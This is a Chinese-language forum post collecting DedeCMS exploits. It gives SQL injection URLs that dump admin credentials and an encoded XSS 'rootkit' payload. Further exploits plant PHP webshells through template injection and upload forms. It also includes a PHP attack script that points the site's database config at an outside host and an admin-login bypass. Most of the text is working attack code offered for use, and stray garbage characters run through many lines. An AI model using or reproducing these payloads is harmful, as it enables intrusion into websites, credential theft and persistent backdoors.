dedecms漏洞总结

admin

Dedecms 5.6 rss注入漏洞
" @# _! B1 a; ^# R; i4 t1 E4 ~http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1

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6 o: ]8 h' n! _DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
0 K1 {: z6 f: F6 l6 T6 S/ O& J生成x.php 密码xiao，直接生成一句话。
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3 g$ D3 X  a9 ]. L/ z" U% [* wDede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
  i; }5 @9 ?. ]. L# ]! Mhttp://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
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. g+ f8 @1 [! q2 t. ?) yDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
2 Q4 @& S8 f# |! C/ Ehttp://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
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DEDECMS 全版本 gotopage变量XSS漏洞
1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
5 U( s- v+ `: W  K: @; d6 _http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="


2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda

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http://v57.demo.dedecms.com/dede/login.php
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color=Red]DeDeCMS(织梦)变量覆盖getshell
#!usr/bin/php -w
  ?, J$ A5 E! b<?php
) i) C* }1 H  @! merror_reporting(E_ERROR);
9 D/ m% L+ _4 r0 Zset_time_limit(0);
print_r('
! @1 H: ?# z  H+ mDEDEcms Variable Coverage
* m% U& _6 u: ]Exploit Author: www.heixiaozi.comwww.webvul.com
);
echo "\r\n";
if($argv[2]==null){
* X, z+ e/ _* X4 V- h, xprint_r('
5 u' E& p2 S0 S9 f3 a& [9 k+---------------------------------------------------------------------------+
+ X2 G: }, e! c$ \- q4 IUsage: php '.$argv[0].' url aid path
0 X1 |  T# ]# A+ caid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
$ A& G; _) O6 t) nExample:
php '.$argv[0].' www.site.com 1 old
+---------------------------------------------------------------------------+
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  A! I: ~3 ]7 _; Z! ^8 b" @exit;
}
$url=$argv[1];
- L; X% j3 J% j  i2 O+ j* i$aid=$argv[2];
8 {" R+ t. B, ^  w0 O$path=$argv[3];
& @6 o4 y" \$ c+ }( q  v; _$exp=Getshell($url,$aid,$path);
9 m2 s6 ]5 E3 E) Uif (strpos($exp,"OK")>12){
( o/ W4 V/ A6 ^3 {$ b, b6 ?8 Gecho "
Exploit Success \n";
if($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;
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* p$ s& C0 l0 Pif($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;
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if($aid==3)echo "
' f# m  K" b0 M7 T4 n- ZShell:".$url."/$path/plus/fuck.php\n";


}else{
echo "
Exploit Failed \n";
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function Getshell($url,$aid,$path){
8 d0 G2 U; h# z7 x& D" m: c8 H- D$id=$aid;
/ C; D0 F9 n6 c: ]# l/ Q9 I0 M: b$host=$url;
3 ?1 G+ p& B. f$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
2 I" G" O8 n7 \& v' K  ~! x$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
8 K* X: }1 e5 E2 n! i# f# F6 R; [6 }$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
& l9 j  B& b+ P5 Q$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
2 y* B* N7 O. `% V# I* J//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
# u; p0 Q5 A- {8 b% [$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
- n2 x/ C) v) E+ M5 ]7 F$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
9 t2 R- s$ @8 n/ i$data .= $content."\r\n";
* j5 r& Q' x* d% p) _$ock=fsockopen($host,$port);
if (!$ock) {
" S0 s# b2 w# {9 p6 Yecho "
No response from ".$host."\n";
& K4 t1 [7 P$ R5 Z: c  o* \' K}
fwrite($ock,$data);
) |: X5 i5 f, O! ?: q& v( ]while (!feof($ock)) {
; I: {/ [; w6 b. `* a& W! M$exp=fgets($ock, 1024);
/ ~) J$ ~8 c) f& V1 D) d) rreturn $exp;
}
}


?>


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1 k" I4 p. e! T+ ?% m/ lDedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
4 e5 g) \' i9 B4 k) Qhttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
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把上面validate=dcug改为当前的验证码，即可直接进入网站后台
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此漏洞的前提是必须得到后台路径才能实现
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Dedecms织梦 标签远程文件写入漏洞
& k9 N3 c+ ?1 M, e& z1 r# d+ V前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
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再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
; t4 l) h4 l9 T& [# |<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
; W5 i( Y- q+ k. d. w8 E) y<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
# d  I3 m4 @1 i( t<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
; `" w- p' V$ H  R* w* u0 ?; S' S<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
function addaction()
6 _& b( ?4 I2 Z{
' L+ y, }4 ^8 z( A. P0 r( Q8 ?$ h6 Ddocument.QuickSearch.action=document.QuickSearch.doaction.value;
}
- D3 {; N; Q2 q5 V3 T  M% W4 c</script>

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DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
6 F9 i5 ~; d5 Y5 T) Ia{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
; n6 W/ g# U  L8 S生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
. W7 A; G) i- @1 XDedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg
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. G+ o- J0 Z8 y) ~模板内容是（如果限制图片格式，加gif89a）：
* S% g! C- [* o& J{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
3 y+ ^  k; G2 o0 Y3 w<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
1 r' ~9 a7 a1 H<input type="hidden" name="oldlitpic" value="" />
, m/ C+ q, W. }$ o, @<input type="hidden" name="sortrank" value="1275972263" />
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<div id="mainCp">
( [9 A6 Y/ @# n. u* d<h3 class="meTitle"><strong>修改文章</strong></h3>
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<div class="postForm">
<label>标题：</label>
- l6 n- @6 }- b- H; e% ]<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>


3 W2 Z9 }" b; Q<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
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9 T& m% K9 i/ \4 U" @5 g' b$ g<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
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. n" m) ]- {! y. F, K<label>隶属栏目：</label>
+ x) [. J: s  I, R<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
; u9 `4 J7 `+ v</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
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<label>我的分类：</label>
( \2 B& h% P, U4 G<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
! ^5 o& Y& g4 f0 V' g5 H+ x. a  B<option value='1' class='option3' selected>hahahha</option>
</select>

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$ S/ Y$ W9 x) b3 K* u( e+ @<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
, d" }4 b% F4 |5 d$ X(内容的简要说明)
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<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
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) q# ~6 Z- N9 W- S<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
. M! ~1 W) K7 c# w+ O5 J: G<input type='text' name='dede_addonfields'
# T1 U# D) |* X( u) a+ k, }value="templet,htmltext;">（这里构造）
$ h# z& {' Z/ D/ e8 x</div>

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<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>


<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>

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1 s) G  @5 d; B6 ~8 O& H# u<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
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$ I$ B3 E/ Q6 X3 ?: W: J! A! g( ^
<button class="button2" type="submit">提交</button>
, \1 a9 a$ T2 N6 W8 q/ ?<button class="button2 ml10" type="reset">重置</button>
1 ]5 g, o2 A& V* [</div>
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6 l/ y. x' A( D, V1 G2 D7 _# A! `3 j</div>
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4 Q" t& l8 A  L</form>
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2 q& p$ E0 M, Z/ N: j+ ^提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
0 k- r1 Q& b) f" o: \即可以在plus目录下生成webshell：1.php





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0 G/ D# ~' p* E+ _DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
Gif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
{/dede:field}
保存为1.gif
5 N. ?  @4 x! k' Y$ v* l+ }<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
. X5 S, }$ L; e# T+ n  P<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
+ G, n& p# o4 a' D: l<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
+ b& Z: |# O% Q' U<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
6 f, u7 G9 I0 N# h</form>
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0 z' h' s9 S' T5 c/ Q) I2 s7 C, A构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
! {9 B4 {+ H% T! U' l* [$ @发表文章，然后构造修改表单如下：

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<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
6 ^$ E  a5 L( i7 c" R<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
6 A7 ?' s  @% }! t<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
1 n* R* F! c  Y" ~3 c( \<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
* G. j/ |0 F3 V$ X& s) N) x<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
! ~* u' B0 _6 A/ ~4 o<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
</form>

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织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
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  G8 F6 @# t4 }织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
. J: d  e% t% ~- a+ }! I, thttp://www.test.com/plus/carbuya ... urn&code=../../

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2 O- O) K$ r4 TDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
1 r! ^6 @* m" D9 `plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5




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/ @( d# t& w& H; o# \织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='




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2 x$ c* u! b3 t. ~织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
8 w9 p: c6 y) b7 s" }1 j+ `) ^<html>
<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
<body style="FONT-SIZE: 9pt">
! P$ I" N- A% V$ L8 o---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
  J7 U0 z+ {$ Y5 e<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
% T3 r7 `2 E% h' x<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
  y; b7 W4 @( O* O; @) v% I/ Q<input type='hidden' name='cfg_imgtype' value='php' />
  f+ \0 z# }) i, t8 W* \+ P8 N<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
$ \1 B8 A2 W# ~! q  j9 t<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
0 U6 B4 F; {3 c) QSelect U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
</form>
9 n, Y' Q9 Z* ^<br />It's just a exp for the bug of Dedecms V55...<br />
5 T5 u1 b0 @6 u" rNeed register_globals = on...<br />
6 y1 {! i3 j4 ?# n+ x* r3 zFun the game,get a webshell at /data/cache/fly.php...<br />
</body>
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9 e8 P0 X1 n, l* O# `# G0 r9 q织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
  V, S9 B# L' ]5 [7 E5 M/ G" u利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
: v: q5 R% X6 |$ ]1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息


2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
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3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是

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5 u: `5 y) E4 b<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
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按确定后的看到第2步骤的信息表示文件木马上传成功.

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' {) E$ ?8 ]# V# w( ~! a织梦(DedeCms)plus/infosearch.php 文件注入漏洞
1 D! n% N; m* Y6 [; |7 v0 Ahttp://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*